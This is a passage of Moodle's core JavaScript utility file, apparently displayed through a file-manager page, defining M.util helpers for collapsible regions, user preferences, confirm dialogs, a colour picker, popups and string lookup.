Sindbad~EG File Manager
// Miscellaneous core Javascript functions for Moodle
// Global M object is initilised in inline javascript
/**
* Add module to list of available modules that can be loaded from YUI.
* @param {Array} modules
*/
M.yui.add_module = function(modules) {
for (var modname in modules) {
YUI_config.modules[modname] = modules[modname];
}
// Ensure thaat the YUI_config is applied to the main YUI instance.
Y.applyConfig(YUI_config);
};
/**
* The gallery version to use when loading YUI modules from the gallery.
* Will be changed every time when using local galleries.
*/
M.yui.galleryversion = '2010.04.21-21-51';
/**
* Various utility functions
*/
M.util = M.util || {};
/**
* Language strings - initialised from page footer.
*/
M.str = M.str || {};
/**
* Returns url for images.
* @param {String} imagename
* @param {String} component
* @return {String}
*/
M.util.image_url = function(imagename, component) {
if (!component || component == '' || component == 'moodle' || component == 'core') {
component = 'core';
}
var url = M.cfg.wwwroot + '/theme/image.php';
if (M.cfg.themerev > 0 && M.cfg.slasharguments == 1) {
if (!M.cfg.svgicons) {
url += '/_s';
}
url += '/' + M.cfg.theme + '/' + component + '/' + M.cfg.themerev + '/' + imagename;
} else {
url += '?theme=' + M.cfg.theme + '&component=' + component + '&rev=' + M.cfg.themerev + '&image=' + imagename;
if (!M.cfg.svgicons) {
url += '&svg=0';
}
}
return url;
};
M.util.in_array = function(item, array){
for( var i = 0; i<array.length; i++){
if(item==array[i]){
return true;
}
}
return false;
};
/**
* Init a collapsible region, see print_collapsible_region in weblib.php
* @param {YUI} Y YUI3 instance with all libraries loaded
* @param {String} id the HTML id for the div.
* @param {String} userpref the user preference that records the state of this box. false if none.
* @param {String} strtooltip
*/
M.util.init_collapsible_region = function(Y, id, userpref, strtooltip) {
Y.use('anim', function(Y) {
new M.util.CollapsibleRegion(Y, id, userpref, strtooltip);
});
};
/**
* Object to handle a collapsible region : instantiate and forget styled object
*
* @class
* @constructor
* @param {YUI} Y YUI3 instance with all libraries loaded
* @param {String} id The HTML id for the div.
* @param {String} userpref The user preference that records the state of this box. false if none.
* @param {String} strtooltip
*/
M.util.CollapsibleRegion = function(Y, id, userpref, strtooltip) {
// Record the pref name
this.userpref = userpref;
// Find the divs in the document.
this.div = Y.one('#'+id);
// Get the caption for the collapsible region
var caption = this.div.one('#'+id + '_caption');
// Create a link
var a = Y.Node.create('<a href="#"></a>');
a.setAttribute('title', strtooltip);
// Get all the nodes from caption, remove them and append them to <a>
while (caption.hasChildNodes()) {
child = caption.get('firstChild');
child.remove();
a.append(child);
}
caption.append(a);
// Get the height of the div at this point before we shrink it if required
var height = this.div.get('offsetHeight');
var collapsedimage = 't/collapsed'; // ltr mode
if (right_to_left()) {
collapsedimage = 't/collapsed_rtl';
} else {
collapsedimage = 't/collapsed';
}
if (this.div.hasClass('collapsed')) {
// Add the correct image and record the YUI node created in the process
this.icon = Y.Node.create('<img src="'+M.util.image_url(collapsedimage, 'moodle')+'" alt="" />');
// Shrink the div as it is collapsed by default
this.div.setStyle('height', caption.get('offsetHeight')+'px');
} else {
// Add the correct image and record the YUI node created in the process
this.icon = Y.Node.create('<img src="'+M.util.image_url('t/expanded', 'moodle')+'" alt="" />');
}
a.append(this.icon);
// Create the animation.
var animation = new Y.Anim({
node: this.div,
duration: 0.3,
easing: Y.Easing.easeBoth,
to: {height:caption.get('offsetHeight')},
from: {height:height}
});
animation.on('start', () => M.util.js_pending('CollapsibleRegion'));
animation.on('resume', () => M.util.js_pending('CollapsibleRegion'));
animation.on('pause', () => M.util.js_complete('CollapsibleRegion'));
// Handler for the animation finishing.
animation.on('end', function() {
this.div.toggleClass('collapsed');
var collapsedimage = 't/collapsed'; // ltr mode
if (right_to_left()) {
collapsedimage = 't/collapsed_rtl';
} else {
collapsedimage = 't/collapsed';
}
if (this.div.hasClass('collapsed')) {
this.icon.set('src', M.util.image_url(collapsedimage, 'moodle'));
} else {
this.icon.set('src', M.util.image_url('t/expanded', 'moodle'));
}
M.util.js_complete('CollapsibleRegion');
}, this);
// Hook up the event handler.
a.on('click', function(e, animation) {
e.preventDefault();
// Animate to the appropriate size.
if (animation.get('running')) {
animation.stop();
}
animation.set('reverse', this.div.hasClass('collapsed'));
// Update the user preference.
if (this.userpref) {
M.util.set_user_preference(this.userpref, !this.div.hasClass('collapsed'));
}
animation.run();
}, this, animation);
};
/**
* The user preference that stores the state of this box.
* @property userpref
* @type String
*/
M.util.CollapsibleRegion.prototype.userpref = null;
/**
* The key divs that make up this
* @property div
* @type Y.Node
*/
M.util.CollapsibleRegion.prototype.div = null;
/**
* The key divs that make up this
* @property icon
* @type Y.Node
*/
M.util.CollapsibleRegion.prototype.icon = null;
/**
* Makes a best effort to connect back to Moodle to update a user preference,
* however, there is no mechanism for finding out if the update succeeded.
*
* Before you can use this function in your JavsScript, you must have called
* user_preference_allow_ajax_update from moodlelib.php to tell Moodle that
* the udpate is allowed, and how to safely clean and submitted values.
*
* @param String name the name of the setting to udpate.
* @param String the value to set it to.
*/
M.util.set_user_preference = function(name, value) {
YUI().use('io', function(Y) {
var url = M.cfg.wwwroot + '/lib/ajax/setuserpref.php?sesskey=' +
M.cfg.sesskey + '&pref=' + encodeURI(name) + '&value=' + encodeURI(value);
// If we are a developer, ensure that failures are reported.
var cfg = {
method: 'get',
on: {}
};
if (M.cfg.developerdebug) {
cfg.on.failure = function(id, o, args) {
alert("Error updating user preference '" + name + "' using ajax. Clicking this link will repeat the Ajax call that failed so you can see the error: ");
}
}
// Make the request.
Y.io(url, cfg);
});
};
/**
* Prints a confirmation dialog in the style of DOM.confirm().
*
* @method show_confirm_dialog
* @param {EventFacade} e
* @param {Object} args
* @param {String} args.message The question to ask the user
* @param {Function} [args.callback] A callback to apply on confirmation.
* @param {Object} [args.scope] The scope to use when calling the callback.
* @param {Object} [args.callbackargs] Any arguments to pass to the callback.
* @param {String} [args.cancellabel] The label to use on the cancel button.
* @param {String} [args.continuelabel] The label to use on the continue button.
*/
M.util.show_confirm_dialog = function(e, args) {
var target = e.target;
if (e.preventDefault) {
e.preventDefault();
}
require(['core_form/changechecker'], function(FormChangeChecker) {
// eslint-disable-next-line no-undef, new-cap
YUI().use('moodle-core-notification-confirm', function(Y) {
var confirmationDialogue = new M.core.confirm({
width: '300px',
center: true,
modal: true,
visible: false,
draggable: false,
title: M.util.get_string('confirmation', 'admin'),
noLabel: M.util.get_string('cancel', 'moodle'),
question: args.message
});
// The dialogue was submitted with a positive value indication.
confirmationDialogue.on('complete-yes', function(e) {
// Handle any callbacks.
if (args.callback) {
if (!Y.Lang.isFunction(args.callback)) {
Y.log('Callbacks to show_confirm_dialog must now be functions. ' +
'Please update your code to pass in a function instead.',
'warn', 'M.util.show_confirm_dialog');
return;
}
var scope = e.target;
if (Y.Lang.isObject(args.scope)) {
scope = args.scope;
}
var callbackargs = args.callbackargs || [];
args.callback.apply(scope, callbackargs);
return;
}
var targetancestor = null,
targetform = null;
if (target.test('a')) {
window.location = target.get('href');
} else if ((targetancestor = target.ancestor('a')) !== null) {
window.location = targetancestor.get('href');
} else if (target.test('input') || target.test('button')) {
targetform = target.ancestor('form', true);
if (!targetform) {
return;
}
if (target.get('name') && target.get('value')) {
targetform.append('<input type="hidden" name="' + target.get('name') +
'" value="' + target.get('value') + '">');
FormChangeChecker.markFormAsDirty(targetform.getDOMNode());
}
targetform.submit();
} else if (target.test('form')) {
FormChangeChecker.markFormAsDirty(target.getDOMNode());
target.submit();
} else {
Y.log("Element of type " + target.get('tagName') +
" is not supported by the M.util.show_confirm_dialog function. Use A, INPUT, BUTTON or FORM",
'warn', 'javascript-static');
}
}, this);
if (args.cancellabel) {
confirmationDialogue.set('noLabel', args.cancellabel);
}
if (args.continuelabel) {
confirmationDialogue.set('yesLabel', args.continuelabel);
}
confirmationDialogue.render()
.show();
});
});
};
/** Useful for full embedding of various stuff */
M.util.init_maximised_embed = function(Y, id) {
var obj = Y.one('#'+id);
if (!obj) {
return;
}
var get_htmlelement_size = function(el, prop) {
if (Y.Lang.isString(el)) {
el = Y.one('#' + el);
}
// Ensure element exists.
if (el) {
var val = el.getStyle(prop);
if (val == 'auto') {
val = el.getComputedStyle(prop);
}
val = parseInt(val);
if (isNaN(val)) {
return 0;
}
return val;
} else {
return 0;
}
};
var resize_object = function() {
obj.setStyle('display', 'none');
var newwidth = get_htmlelement_size('maincontent', 'width') - 35;
if (newwidth > 500) {
obj.setStyle('width', newwidth + 'px');
} else {
obj.setStyle('width', '500px');
}
var headerheight = get_htmlelement_size('page-header', 'height');
var footerheight = get_htmlelement_size('page-footer', 'height');
var newheight = parseInt(Y.one('body').get('docHeight')) - footerheight - headerheight - 100;
if (newheight < 400) {
newheight = 400;
}
obj.setStyle('height', newheight+'px');
obj.setStyle('display', '');
};
resize_object();
// fix layout if window resized too
Y.use('event-resize', function (Y) {
Y.on("windowresize", function() {
resize_object();
});
});
};
/**
* Breaks out all links to the top frame - used in frametop page layout.
*/
M.util.init_frametop = function(Y) {
Y.all('a').each(function(node) {
node.set('target', '_top');
});
Y.all('form').each(function(node) {
node.set('target', '_top');
});
};
/**
* @deprecated since Moodle 3.3
*/
M.util.init_toggle_class_on_click = function(Y, id, cssselector, toggleclassname, togglecssselector) {
throw new Error('M.util.init_toggle_class_on_click can not be used any more. Please use jQuery instead.');
};
/**
* Initialises a colour picker
*
* Designed to be used with admin_setting_configcolourpicker although could be used
* anywhere, just give a text input an id and insert a div with the class admin_colourpicker
* above or below the input (must have the same parent) and then call this with the
* id.
*
* This code was mostly taken from my [Sam Hemelryk] css theme tool available in
* contrib/blocks. For better docs refer to that.
*
* @param {YUI} Y
* @param {int} id
* @param {object} previewconf
*/
M.util.init_colour_picker = function(Y, id, previewconf) {
/**
* We need node and event-mouseenter
*/
Y.use('node', 'event-mouseenter', function(){
/**
* The colour picker object
*/
var colourpicker = {
box : null,
input : null,
image : null,
preview : null,
current : null,
eventClick : null,
eventMouseEnter : null,
eventMouseLeave : null,
eventMouseMove : null,
width : 300,
height : 100,
factor : 5,
/**
* Initalises the colour picker by putting everything together and wiring the events
*/
init : function() {
this.input = Y.one('#'+id);
this.box = this.input.ancestor().one('.admin_colourpicker');
this.image = Y.Node.create('<img alt="" class="colourdialogue" />');
this.image.setAttribute('src', M.util.image_url('i/colourpicker', 'moodle'));
this.preview = Y.Node.create('<div class="previewcolour"></div>');
this.preview.setStyle('width', this.height/2).setStyle('height', this.height/2).setStyle('backgroundColor', this.input.get('value'));
this.current = Y.Node.create('<div class="currentcolour"></div>');
this.current.setStyle('width', this.height/2).setStyle('height', this.height/2 -1).setStyle('backgroundColor', this.input.get('value'));
this.box.setContent('').append(this.image).append(this.preview).append(this.current);
if (typeof(previewconf) === 'object' && previewconf !== null) {
Y.one('#'+id+'_preview').on('click', function(e){
if (Y.Lang.isString(previewconf.selector)) {
Y.all(previewconf.selector).setStyle(previewconf.style, this.input.get('value'));
} else {
for (var i in previewconf.selector) {
Y.all(previewconf.selector[i]).setStyle(previewconf.style, this.input.get('value'));
}
}
}, this);
}
this.eventClick = this.image.on('click', this.pickColour, this);
this.eventMouseEnter = Y.on('mouseenter', this.startFollow, this.image, this);
},
/**
* Starts to follow the mouse once it enter the image
*/
startFollow : function(e) {
this.eventMouseEnter.detach();
this.eventMouseLeave = Y.on('mouseleave', this.endFollow, this.image, this);
this.eventMouseMove = this.image.on('mousemove', function(e){
this.preview.setStyle('backgroundColor', this.determineColour(e));
}, this);
},
/**
* Stops following the mouse
*/
endFollow : function(e) {
this.eventMouseMove.detach();
this.eventMouseLeave.detach();
this.eventMouseEnter = Y.on('mouseenter', this.startFollow, this.image, this);
},
/**
* Picks the colour the was clicked on
*/
pickColour : function(e) {
var colour = this.determineColour(e);
this.input.set('value', colour);
this.current.setStyle('backgroundColor', colour);
},
/**
* Calculates the colour fromthe given co-ordinates
*/
determineColour : function(e) {
var eventx = Math.floor(e.pageX-e.target.getX());
var eventy = Math.floor(e.pageY-e.target.getY());
var imagewidth = this.width;
var imageheight = this.height;
var factor = this.factor;
var colour = [255,0,0];
var matrices = [
[ 0, 1, 0],
[ -1, 0, 0],
[ 0, 0, 1],
[ 0, -1, 0],
[ 1, 0, 0],
[ 0, 0, -1]
];
var matrixcount = matrices.length;
var limit = Math.round(imagewidth/matrixcount);
var heightbreak = Math.round(imageheight/2);
for (var x = 0; x < imagewidth; x++) {
var divisor = Math.floor(x / limit);
var matrix = matrices[divisor];
colour[0] += matrix[0]*factor;
colour[1] += matrix[1]*factor;
colour[2] += matrix[2]*factor;
if (eventx==x) {
break;
}
}
var pixel = [colour[0], colour[1], colour[2]];
if (eventy < heightbreak) {
pixel[0] += Math.floor(((255-pixel[0])/heightbreak) * (heightbreak - eventy));
pixel[1] += Math.floor(((255-pixel[1])/heightbreak) * (heightbreak - eventy));
pixel[2] += Math.floor(((255-pixel[2])/heightbreak) * (heightbreak - eventy));
} else if (eventy > heightbreak) {
pixel[0] = Math.floor((imageheight-eventy)*(pixel[0]/heightbreak));
pixel[1] = Math.floor((imageheight-eventy)*(pixel[1]/heightbreak));
pixel[2] = Math.floor((imageheight-eventy)*(pixel[2]/heightbreak));
}
return this.convert_rgb_to_hex(pixel);
},
/**
* Converts an RGB value to Hex
*/
convert_rgb_to_hex : function(rgb) {
var hex = '#';
var hexchars = "0123456789ABCDEF";
for (var i=0; i<3; i++) {
var number = Math.abs(rgb[i]);
if (number == 0 || isNaN(number)) {
hex += '00';
} else {
hex += hexchars.charAt((number-number%16)/16)+hexchars.charAt(number%16);
}
}
return hex;
}
};
/**
* Initialise the colour picker :) Hoorah
*/
colourpicker.init();
});
};
M.util.init_block_hider = function(Y, config) {
Y.use('base', 'node', function(Y) {
M.util.block_hider = M.util.block_hider || (function(){
var blockhider = function() {
blockhider.superclass.constructor.apply(this, arguments);
};
blockhider.prototype = {
initializer : function(config) {
this.set('block', '#'+this.get('id'));
var b = this.get('block'),
t = b.one('.title'),
a = null,
hide,
show;
if (t && (a = t.one('.block_action'))) {
hide = Y.Node.create('<img />')
.addClass('block-hider-hide')
.setAttrs({
alt: config.tooltipVisible,
src: this.get('iconVisible'),
tabIndex: 0,
'title': config.tooltipVisible
});
hide.on('keypress', this.updateStateKey, this, true);
hide.on('click', this.updateState, this, true);
show = Y.Node.create('<img />')
.addClass('block-hider-show')
.setAttrs({
alt: config.tooltipHidden,
src: this.get('iconHidden'),
tabIndex: 0,
'title': config.tooltipHidden
});
show.on('keypress', this.updateStateKey, this, false);
show.on('click', this.updateState, this, false);
a.insert(show, 0).insert(hide, 0);
}
},
updateState : function(e, hide) {
M.util.set_user_preference(this.get('preference'), hide);
if (hide) {
this.get('block').addClass('hidden');
this.get('block').one('.block-hider-show').focus();
} else {
this.get('block').removeClass('hidden');
this.get('block').one('.block-hider-hide').focus();
}
},
updateStateKey : function(e, hide) {
if (e.keyCode == 13) { //allow hide/show via enter key
this.updateState(this, hide);
}
}
};
Y.extend(blockhider, Y.Base, blockhider.prototype, {
NAME : 'blockhider',
ATTRS : {
id : {},
preference : {},
iconVisible : {
value : M.util.image_url('t/switch_minus', 'moodle')
},
iconHidden : {
value : M.util.image_url('t/switch_plus', 'moodle')
},
block : {
setter : function(node) {
return Y.one(node);
}
}
}
});
return blockhider;
})();
new M.util.block_hider(config);
});
};
/**
* @var pending_js - The keys are the list of all pending js actions.
* @type Object
*/
M.util.pending_js = [];
M.util.complete_js = [];
/**
* Register any long running javascript code with a unique identifier.
* This is used to ensure that Behat steps do not continue with interactions until the page finishes loading.
*
* All calls to M.util.js_pending _must_ be followed by a subsequent call to M.util.js_complete with the same exact
* uniqid.
*
* This function may also be called with no arguments to test if there is any js calls pending.
*
* The uniqid specified may be any Object, including Number, String, or actual Object; however please note that the
* paired js_complete function performs a strict search for the key specified. As such, if using an Object, the exact
* Object must be passed into both functions.
*
* @param {Mixed} uniqid Register long-running code against the supplied identifier
* @return {Number} Number of pending items
*/
M.util.js_pending = function(uniqid) {
if (typeof uniqid !== 'undefined') {
M.util.pending_js.push(uniqid);
}
return M.util.pending_js.length;
};
// Start this asap.
M.util.js_pending('init');
/**
* Register listeners for Y.io start/end so we can wait for them in behat.
*/
YUI.add('moodle-core-io', function(Y) {
Y.on('io:start', function(id) {
M.util.js_pending('io:' + id);
});
Y.on('io:end', function(id) {
M.util.js_complete('io:' + id);
});
}, '@VERSION@', {
condition: {
trigger: 'io-base',
when: 'after'
}
});
/**
* Unregister some long running javascript code using the unique identifier specified in M.util.js_pending.
*
* This function must be matched with an identical call to M.util.js_pending.
*
* @param {Mixed} uniqid Register long-running code against the supplied identifier
* @return {Number} Number of pending items remaining after removing this item
*/
M.util.js_complete = function(uniqid) {
// Use the Y.Array.indexOf instead of the native because some older browsers do not support
// the native function. Y.Array polyfills the native function if it does not exist.
var index = Y.Array.indexOf(M.util.pending_js, uniqid);
if (index >= 0) {
M.util.complete_js.push(M.util.pending_js.splice(index, 1));
} else {
window.console.log("Unable to locate key for js_complete call", uniqid);
}
return M.util.pending_js.length;
};
/**
* Returns a string registered in advance for usage in JavaScript
*
* If you do not pass the third parameter, the function will just return
* the corresponding value from the M.str object. If the third parameter is
* provided, the function performs {$a} placeholder substitution in the
* same way as PHP get_string() in Moodle does.
*
* @param {String} identifier string identifier
* @param {String} component the component providing the string
* @param {Object|String} a optional variable to populate placeholder with
*/
M.util.get_string = function(identifier, component, a) {
var stringvalue;
if (M.cfg.developerdebug) {
// creating new instance if YUI is not optimal but it seems to be better way then
// require the instance via the function API - note that it is used in rare cases
// for debugging only anyway
// To ensure we don't kill browser performance if hundreds of get_string requests
// are made we cache the instance we generate within the M.util namespace.
// We don't publicly define the variable so that it doesn't get abused.
if (typeof M.util.get_string_yui_instance === 'undefined') {
M.util.get_string_yui_instance = new YUI({ debug : true });
}
var Y = M.util.get_string_yui_instance;
}
if (!M.str.hasOwnProperty(component) || !M.str[component].hasOwnProperty(identifier)) {
stringvalue = '[[' + identifier + ',' + component + ']]';
if (M.cfg.developerdebug) {
Y.log('undefined string ' + stringvalue, 'warn', 'M.util.get_string');
}
return stringvalue;
}
stringvalue = M.str[component][identifier];
if (typeof a == 'undefined') {
// no placeholder substitution requested
return stringvalue;
}
if (typeof a == 'number' || typeof a == 'string') {
// replace all occurrences of {$a} with the placeholder value
stringvalue = stringvalue.replace(/\{\$a\}/g, a);
return stringvalue;
}
if (typeof a == 'object') {
// replace {$a->key} placeholders
for (var key in a) {
if (typeof a[key] != 'number' && typeof a[key] != 'string') {
if (M.cfg.developerdebug) {
Y.log('invalid value type for $a->' + key, 'warn', 'M.util.get_string');
}
continue;
}
var search = '{$a->' + key + '}';
search = search.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, '\\$&');
search = new RegExp(search, 'g');
stringvalue = stringvalue.replace(search, a[key]);
}
return stringvalue;
}
if (M.cfg.developerdebug) {
Y.log('incorrect placeholder type', 'warn', 'M.util.get_string');
}
return stringvalue;
};
/**
* Set focus on username or password field of the login form.
* @deprecated since Moodle 3.3.
*/
M.util.focus_login_form = function(Y) {
Y.log('M.util.focus_login_form no longer does anything. Please use jquery instead.', 'warn', 'javascript-static.js');
};
/**
* Set focus on login error message.
* @deprecated since Moodle 3.3.
*/
M.util.focus_login_error = function(Y) {
Y.log('M.util.focus_login_error no longer does anything. Please use jquery instead.', 'warn', 'javascript-static.js');
};
/**
* Adds lightbox hidden element that covers the whole node.
*
* @param {YUI} Y
* @param {Node} the node lightbox should be added to
* @retun {Node} created lightbox node
*/
M.util.add_lightbox = function(Y, node) {
var WAITICON = {'pix':"i/loading_small",'component':'moodle'};
// Check if lightbox is already there
if (node.one('.lightbox')) {
return node.one('.lightbox');
}
node.setStyle('position', 'relative');
var waiticon = Y.Node.create('<img />')
.setAttrs({
'src' : M.util.image_url(WAITICON.pix, WAITICON.component)
})
.setStyles({
'position' : 'relative',
'top' : '50%'
});
var lightbox = Y.Node.create('<div></div>')
.setStyles({
'opacity' : '.75',
'position' : 'absolute',
'width' : '100%',
'height' : '100%',
'top' : 0,
'left' : 0,
'backgroundColor' : 'white',
'textAlign' : 'center'
})
.setAttribute('class', 'lightbox')
.hide();
lightbox.appendChild(waiticon);
node.append(lightbox);
return lightbox;
}
/**
* Appends a hidden spinner element to the specified node.
*
* @param {YUI} Y
* @param {Node} the node the spinner should be added to
* @return {Node} created spinner node
*/
M.util.add_spinner = function(Y, node) {
var WAITICON = {'pix':"i/loading_small",'component':'moodle'};
// Check if spinner is already there
if (node.one('.spinner')) {
return node.one('.spinner');
}
var spinner = Y.Node.create('<img />')
.setAttribute('src', M.util.image_url(WAITICON.pix, WAITICON.component))
.addClass('spinner')
.addClass('iconsmall')
.hide();
node.append(spinner);
return spinner;
}
/**
* @deprecated since Moodle 3.3.
*/
function checkall() {
throw new Error('checkall can not be used any more. Please use jQuery instead.');
}
/**
* @deprecated since Moodle 3.3.
*/
function checknone() {
throw new Error('checknone can not be used any more. Please use jQuery instead.');
}
/**
* @deprecated since Moodle 3.3.
*/
function select_all_in_element_with_id(id, checked) {
throw new Error('select_all_in_element_with_id can not be used any more. Please use jQuery instead.');
}
/**
* @deprecated since Moodle 3.3.
*/
function select_all_in(elTagName, elClass, elId) {
throw new Error('select_all_in can not be used any more. Please use jQuery instead.');
}
/**
* @deprecated since Moodle 3.3.
*/
function deselect_all_in(elTagName, elClass, elId) {
throw new Error('deselect_all_in can not be used any more. Please use jQuery instead.');
}
/**
* @deprecated since Moodle 3.3.
*/
function confirm_if(expr, message) {
throw new Error('confirm_if can not be used any more.');
}
/**
* @deprecated since Moodle 3.3.
*/
function findParentNode(el, elName, elClass, elId) {
throw new Error('findParentNode can not be used any more. Please use jQuery instead.');
}
function unmaskPassword(id) {
var pw = document.getElementById(id);
var chb = document.getElementById(id+'unmask');
// MDL-30438 - The capability to changing the value of input type is not supported by IE8 or lower.
// Replacing existing child with a new one, removed all yui properties for the node. Therefore, this
// functionality won't work in IE8 or lower.
// This is a temporary fixed to allow other browsers to function properly.
if (Y.UA.ie == 0 || Y.UA.ie >= 9) {
if (chb.checked) {
pw.type = "text";
} else {
pw.type = "password";
}
} else { //IE Browser version 8 or lower
try {
// first try IE way - it can not set name attribute later
if (chb.checked) {
var newpw = document.createElement('<input type="text" autocomplete="off" name="'+pw.name+'">');
} else {
var newpw = document.createElement('<input type="password" autocomplete="off" name="'+pw.name+'">');
}
newpw.attributes['class'].nodeValue = pw.attributes['class'].nodeValue;
} catch (e) {
var newpw = document.createElement('input');
newpw.setAttribute('autocomplete', 'off');
newpw.setAttribute('name', pw.name);
if (chb.checked) {
newpw.setAttribute('type', 'text');
} else {
newpw.setAttribute('type', 'password');
}
newpw.setAttribute('class', pw.getAttribute('class'));
}
newpw.id = pw.id;
newpw.size = pw.size;
newpw.onblur = pw.onblur;
newpw.onchange = pw.onchange;
newpw.value = pw.value;
pw.parentNode.replaceChild(newpw, pw);
}
}
/**
* @deprecated since Moodle 3.3.
*/
function filterByParent(elCollection, parentFinder) {
throw new Error('filterByParent can not be used any more. Please use jQuery instead.');
}
/**
* @deprecated since Moodle 3.3, but shouldn't be used in earlier versions either.
*/
function fix_column_widths() {
Y.log('fix_column_widths() no longer does anything. Please remove it from your code.', 'warn', 'javascript-static.js');
}
/**
* @deprecated since Moodle 3.3, but shouldn't be used in earlier versions either.
*/
function fix_column_width(colName) {
Y.log('fix_column_width() no longer does anything. Please remove it from your code.', 'warn', 'javascript-static.js');
}
/*
Insert myValue at current cursor position
*/
function insertAtCursor(myField, myValue) {
// IE support
if (document.selection) {
myField.focus();
sel = document.selection.createRange();
sel.text = myValue;
}
// Mozilla/Netscape support
else if (myField.selectionStart || myField.selectionStart == '0') {
var startPos = myField.selectionStart;
var endPos = myField.selectionEnd;
myField.value = myField.value.substring(0, startPos)
+ myValue + myField.value.substring(endPos, myField.value.length);
} else {
myField.value += myValue;
}
}
/**
* Increment a file name.
*
* @param string file name.
* @param boolean ignoreextension do not extract the extension prior to appending the
* suffix. Useful when incrementing folder names.
* @return string the incremented file name.
*/
function increment_filename(filename, ignoreextension) {
var extension = '';
var basename = filename;
// Split the file name into the basename + extension.
if (!ignoreextension) {
var dotpos = filename.lastIndexOf('.');
if (dotpos !== -1) {
basename = filename.substr(0, dotpos);
extension = filename.substr(dotpos, filename.length);
}
}
// Look to see if the name already has (NN) at the end of it.
var number = 0;
var hasnumber = basename.match(/^(.*) \((\d+)\)$/);
if (hasnumber !== null) {
// Note the current number & remove it from the basename.
number = parseInt(hasnumber[2], 10);
basename = hasnumber[1];
}
number++;
var newname = basename + ' (' + number + ')' + extension;
return newname;
}
/**
* Return whether we are in right to left mode or not.
*
* @return boolean
*/
function right_to_left() {
var body = Y.one('body');
var rtl = false;
if (body && body.hasClass('dir-rtl')) {
rtl = true;
}
return rtl;
}
function openpopup(event, args) {
if (event) {
if (event.preventDefault) {
event.preventDefault();
} else {
event.returnValue = false;
}
}
// Make sure the name argument is set and valid.
var nameregex = /[^a-z0-9_]/i;
if (typeof args.name !== 'string') {
args.name = '_blank';
} else if (args.name.match(nameregex)) {
// Cleans window name because IE does not support funky ones.
if (M.cfg.developerdebug) {
alert('DEVELOPER NOTICE: Invalid \'name\' passed to openpopup(): ' + args.name);
}
args.name = args.name.replace(nameregex, '_');
}
var fullurl = args.url;
if (!args.url.match(/https?:\/\//)) {
fullurl = M.cfg.wwwroot + args.url;
}
if (args.fullscreen) {
args.options = args.options.
replace(/top=\d+/, 'top=0').
replace(/left=\d+/, 'left=0').
replace(/width=\d+/, 'width=' + screen.availWidth).
replace(/height=\d+/, 'height=' + screen.availHeight);
}
var windowobj = window.open(fullurl,args.name,args.options);
if (!windowobj) {
return true;
}
if (args.fullscreen) {
// In some browser / OS combinations (E.g. Chrome on Windows), the
// window initially opens slighly too big. The width and heigh options
// seem to control the area inside the browser window, so what with
// scroll-bars, etc. the actual window is bigger than the screen.
// Therefore, we need to fix things up after the window is open.
var hackcount = 100;
var get_size_exactly_right = function() {
windowobj.moveTo(0, 0);
windowobj.resizeTo(screen.availWidth, screen.availHeight);
// Unfortunately, it seems that in Chrome on Ubuntu, if you call
// something like windowobj.resizeTo(1280, 1024) too soon (up to
// about 50ms) after the window is open, then it actually behaves
// as if you called windowobj.resizeTo(0, 0). Therefore, we need to
// check that the resize actually worked, and if not, repeatedly try
// again after a short delay until it works (but with a limit of
// hackcount repeats.
if (hackcount > 0 && (windowobj.innerHeight < 10 || windowobj.innerWidth < 10)) {
hackcount -= 1;
setTimeout(get_size_exactly_right, 10);
}
}
setTimeout(get_size_exactly_right, 0);
}
windowobj.focus();
return false;
}
/** Close the current browser window. */
function close_window(e) {
if (e.preventDefault) {
e.preventDefault();
} else {
e.returnValue = false;
}
window.close();
}
/**
* Tranfer keyboard focus to the HTML element with the given id, if it exists.
* @param controlid the control id.
*/
function focuscontrol(controlid) {
var control = document.getElementById(controlid);
if (control) {
control.focus();
}
}
/**
* Transfers keyboard focus to an HTML element based on the old style style of focus
* This function should be removed as soon as it is no longer used
*/
function old_onload_focus(formid, controlname) {
if (document.forms[formid] && document.forms[formid].elements && document.forms[formid].elements[controlname]) {
document.forms[formid].elements[controlname].focus();
}
}
function build_querystring(obj) {
return convert_object_to_string(obj, '&');
}
function build_windowoptionsstring(obj) {
return convert_object_to_string(obj, ',');
}
function convert_object_to_string(obj, separator) {
if (typeof obj !== 'object') {
return null;
}
var list = [];
for(var k in obj) {
k = encodeURIComponent(k);
var value = obj[k];
if(obj[k] instanceof Array) {
for(var i in value) {
list.push(k+'[]='+encodeURIComponent(value[i]));
}
} else {
list.push(k+'='+encodeURIComponent(value));
}
}
return list.join(separator);
}
/**
* @deprecated since Moodle 3.3.
*/
function stripHTML(str) {
throw new Error('stripHTML can not be used any more. Please use jQuery instead.');
}
function updateProgressBar(id, percent, msg, estimate) {
var event,
el = document.getElementById(id),
eventData = {};
if (!el) {
return;
}
eventData.message = msg;
eventData.percent = percent;
eventData.estimate = estimate;
try {
event = new CustomEvent('update', {
bubbles: false,
cancelable: true,
detail: eventData
});
} catch (exception) {
if (!(exception instanceof TypeError)) {
throw exception;
}
event = document.createEvent('CustomEvent');
event.initCustomEvent('update', false, true, eventData);
event.prototype = window.Event.prototype;
}
el.dispatchEvent(event);
}
M.util.help_popups = {
setup : function(Y) {
Y.one('body').delegate('click', this.open_popup, 'a.helplinkpopup', this);
},
open_popup : function(e) {
// Prevent the default page action
e.preventDefault();
// Grab the anchor that was clicked
var anchor = e.target.ancestor('a', true);
var args = {
'name' : 'popup',
'url' : anchor.getAttribute('href'),
'options' : ''
};
var options = [
'height=600',
'width=800',
'top=0',
'left=0',
'menubar=0',
'location=0',
'scrollbars',
'resizable',
'toolbar',
'status',
'directories=0',
'fullscreen=0',
'dependent'
]
args.options = options.join(',');
openpopup(e, args);
}
}
/**
* Custom menu namespace
*/
M.core_custom_menu = {
/**
* This method is used to initialise a custom menu given the id that belongs
* to the custom menu's root node.
*
* @param {YUI} Y
* @param {string} nodeid
*/
init : function(Y, nodeid) {
var node = Y.one('#'+nodeid);
if (node) {
Y.use('node-menunav', function(Y) {
// Get the node
// Remove the javascript-disabled class.... obviously javascript is enabled.
node.removeClass('javascript-disabled');
// Initialise the menunav plugin
node.plug(Y.Plugin.NodeMenuNav);
});
}
}
};
/**
* Used to store form manipulation methods and enhancments
*/
M.form = M.form || {};
/**
* Converts a nbsp indented select box into a multi drop down custom control much
* like the custom menu. Can no longer be used.
* @deprecated since Moodle 3.3
*/
M.form.init_smartselect = function() {
throw new Error('M.form.init_smartselect can not be used any more.');
};
/**
* Initiates the listeners for skiplink interaction
*
* @param {YUI} Y
*/
M.util.init_skiplink = function(Y) {
Y.one(Y.config.doc.body).delegate('click', function(e) {
e.preventDefault();
e.stopPropagation();
var node = Y.one(this.getAttribute('href'));
node.setAttribute('tabindex', '-1');
node.focus();
return true;
